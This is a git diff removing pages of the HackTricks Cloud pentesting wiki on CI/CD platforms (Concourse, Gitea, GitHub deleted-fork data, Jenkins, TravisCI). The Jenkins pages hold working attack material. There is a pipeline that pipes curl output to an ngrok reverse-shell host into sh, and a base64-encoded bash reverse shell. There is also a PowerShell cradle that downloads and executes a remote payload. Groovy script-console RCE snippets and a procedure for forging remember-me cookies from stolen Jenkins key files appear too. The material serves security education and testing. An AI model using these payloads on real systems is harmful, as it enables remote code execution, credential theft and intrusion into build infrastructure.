-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
-
-#### Workers
-
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
-
-* **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-* **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
-
-## References
-
-* [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/pentesting-ci-cd/gitea-security/basic-gitea-information.md
deleted file mode 100644
index b5daaad8e..000000000
--- a/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ /dev/null
@@ -1,131 +0,0 @@
-# Basic Gitea Information
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Basic Structure
-
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
-
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
-
-A user may also be **part of different teams** with different permissions over different repos.
-
-And finally **repositories may have special protection mechanisms**.
-
-## Permissions
-
-### Organizations
-
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
-
-**Org admins** (owners) can select the **visibility** of the organization:
-
-* Public
-* Limited (logged in users only)
-* Private (members only)
-
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
-
-When creating a new team, several important settings are selected:
-
-* It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-* It's also indicated **if members can create new repos** (creator will get admin access to it)
-* The **permissions** the **members** of the repo will **have**:
- * **Administrator** access
- * **Specific** access:
-
-.png>)
-
-### Teams & Users
-
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
-
-* Administrator
-* Write
-* Read
-
-## Gitea Authentication
-
-### Web Access
-
-Using **username + password** and potentially (and recommended) a 2FA.
-
-### **SSH Keys**
-
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
-
-#### **GPG Keys**
-
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
-
-### **Personal Access Tokens**
-
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
-
-### Oauth Applications
-
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
-
-.png>)
-
-### Deploy keys
-
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
-
-## Branch Protections
-
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
-
-The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_
-
-{% hint style="info" %}
-It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
-{% endhint %}
-
-Different protections can be applied to a branch (like to master):
-
-* **Disable Push**: No-one can push to this branch
-* **Enable Push**: Anyone with access can push, but not force push.
-* **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-* **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-* **Enable Status checks:** Require status checks to pass before merging.
-* **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-* **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-* **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-* **Block merge on official review requests**: If there official review requests it cannot be merged
-* **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-* **Require Signed Commits**: Commits must be signed.
-* **Block merge if pull request is outdated**
-* **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
-
-{% hint style="info" %}
-As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
deleted file mode 100644
index 392386866..000000000
--- a/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ /dev/null
@@ -1,85 +0,0 @@
-# Accessible Deleted Data in Github
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-
-## Accessing Deleted Fork Data
-
-1. You fork a public repository
-2. You commit code to your fork
-3. You delete your fork
-
-{% hint style="danger" %}
-The data commited in the deleted fork is still accessible.
-{% endhint %}
-
-## Accessing Deleted Repo Data
-
-1. You have a public repo on GitHub.
-2. A user forks your repo.
-3. You commit data after they fork it (and they never sync their fork with your updates).
-4. You delete the entire repo.
-
-{% hint style="danger" %}
-Even if you deleted your repo, all the changes made to it are still accessible through the forks.
-{% endhint %}
-
-## Accessing Private Repo Data
-
-1. You create a private repo that will eventually be made public.
-2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
-3. You make your “upstream” repository public and keep your fork private.
-
-{% hint style="danger" %}
-It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
-{% endhint %}
-
-## How to discover commits from deleted/hidden forks
-
-The same blog post propose 2 options:
-
-### Directly accessing the commit
-
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/`
-
-### Brute-forcing short SHA-1 values
-
-It's the same to access both of these:
-
-* [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
-* [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-
-And the latest one use a short sha-1 that is bruteforceable.
-
-## References
-
-* [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
deleted file mode 100644
index 06ae83621..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ /dev/null
@@ -1,135 +0,0 @@
-# Jenkins Arbitrary File Read to RCE via "Remember Me"
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
-
-### Attack Prerequisites
-
-* **Feature Requirement:** "Remember me" must be enabled (default setting).
-* **Access Levels:** Attacker needs Overall/Read permissions.
-* **Secret Access:** Ability to read both binary and textual content from key files.
-
-### Detailed Exploitation Process
-
-#### Step 1: Data Collection
-
-**User Information Retrieval**
-
-* Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- * **Username**
- * **User seed**
- * **Timestamp**
- * **Password hash**
-
-**Secret Key Extraction**
-
-* Extract cryptographic keys used for signing the cookie:
- * **Secret Key:** `$JENKINS_HOME/secret.key`
- * **Master Key:** `$JENKINS_HOME/secrets/master.key`
- * **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
-
-#### Step 2: Cookie Forging
-
-**Token Preparation**
-
-* **Calculate Token Expiry Time:**
-
- {% code overflow="wrap" %}
- ```javascript
- tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
- ```
- {% endcode %}
-* **Concatenate Data for Token:**
-
- {% code overflow="wrap" %}
- ```javascript
- token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- ```
- {% endcode %}
-
-**MAC Key Decryption**
-
-* **Decrypt MAC Key File:**
-
- ```javascript
- key = toAes128Key(masterKey) // Convert master key to AES128 key format
- decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
- if not decrypted.hasSuffix("::::MAGIC::::")
- return ERROR;
- macKey = decrypted.withoutSuffix("::::MAGIC::::")
- ```
-
-**Signature Computation**
-
-* **Compute HMAC SHA256:**
-
- ```javascript
- mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
- tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
- ```
-
-**Cookie Encoding**
-
-* **Generate Final Cookie:**
-
- {% code overflow="wrap" %}
- ```javascript
- cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature) // Base64 encode the cookie data
- ```
- {% endcode %}
-
-#### Step 3: Code Execution
-
-**Session Authentication**
-
-* **Fetch CSRF and Session Tokens:**
- * Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- * Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
-
-**Command Execution Request**
-
-* **Send a POST Request with Groovy Script:**
-
- ```bash
- curl -X POST "$JENKINS_URL/scriptText" \
- --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
- --header "Jenkins-Crumb: $CRUMB" \
- --header "Content-Type: application/x-www-form-urlencoded" \
- --data-urlencode "script=$SCRIPT"
- ```
-
- * Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
-
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
deleted file mode 100644
index 34044c311..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# Jenkins RCE Creating/Modifying Pipeline
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Creating a new Pipeline
-
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
-
-.png>)
-
-In the **Pipeline section** write the **reverse shell**:
-
-.png>)
-
-```groovy
-pipeline {
- agent any
-
- stages {
- stage('Hello') {
- steps {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
- '''
- }
- }
- }
-}
-```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
-
-.png>)
-
-## Modifying a Pipeline
-
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
deleted file mode 100644
index b11c7dcb3..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# Jenkins RCE Creating/Modifying Project
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Creating a Project
-
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
-
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
- 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
- 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`**
-
-.png>)
-
-## Modifying a Project
-
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
-
-.png>)
-
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
-
-Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
-
-## Execution
-
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
-
-.png>)
-
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
deleted file mode 100644
index 786f87325..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# Jenkins RCE with Groovy Script
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Jenkins RCE with Groovy Script
-
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path\_jenkins/script_
-2. Inside the text box introduce the script
-
-```python
-def process = "PowerShell.exe ".execute()
-println "Found text ${process.text}"
-```
-
-You could execute a command using: `cmd.exe /c dir`
-
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
-
-```python
-def sout = new StringBuffer(), serr = new StringBuffer()
-def proc = '[INSERT COMMAND]'.execute()
-proc.consumeProcessOutput(sout, serr)
-proc.waitForOrKill(1000)
-println "out> $sout err> $serr"
-```
-
-### Reverse shell in linux
-
-```python
-def sout = new StringBuffer(), serr = new StringBuffer()
-def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
-proc.consumeProcessOutput(sout, serr)
-proc.waitForOrKill(1000)
-println "out> $sout err> $serr"
-```
-
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
-```python
-scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
-echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
-cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
-```
-
-### Script
-
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
-
-```
-msf> use exploit/multi/http/jenkins_script_console
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/todo.md b/pentesting-ci-cd/todo.md
deleted file mode 100644
index 716bbecf1..000000000
--- a/pentesting-ci-cd/todo.md
+++ /dev/null
@@ -1,42 +0,0 @@
-# TODO
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
-
-* Drone
-* TeamCity
-* BuildKite
-* OctopusDeploy
-* Rancher
-* Mesosphere
-* Radicle
-* Any other CI/CD platform...
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/travisci-security/README.md b/pentesting-ci-cd/travisci-security/README.md
deleted file mode 100644
index 9d14e9703..000000000
--- a/pentesting-ci-cd/travisci-security/README.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# TravisCI Security
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## What is TravisCI
-
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
-
-{% content-ref url="basic-travisci-information.md" %}
-[basic-travisci-information.md](basic-travisci-information.md)
-{% endcontent-ref %}
-
-## Attacks
-
-### Triggers
-
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
-
-.png>)
-
-#### Cron Jobs
-
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
-
-.png>)
-
-{% hint style="info" %}
-It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
-{% endhint %}
-
-### Third Party PR
-
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
-
-.png>)
-
-### Dumping Secrets
-
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
-
-* To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-* To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-* To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
-
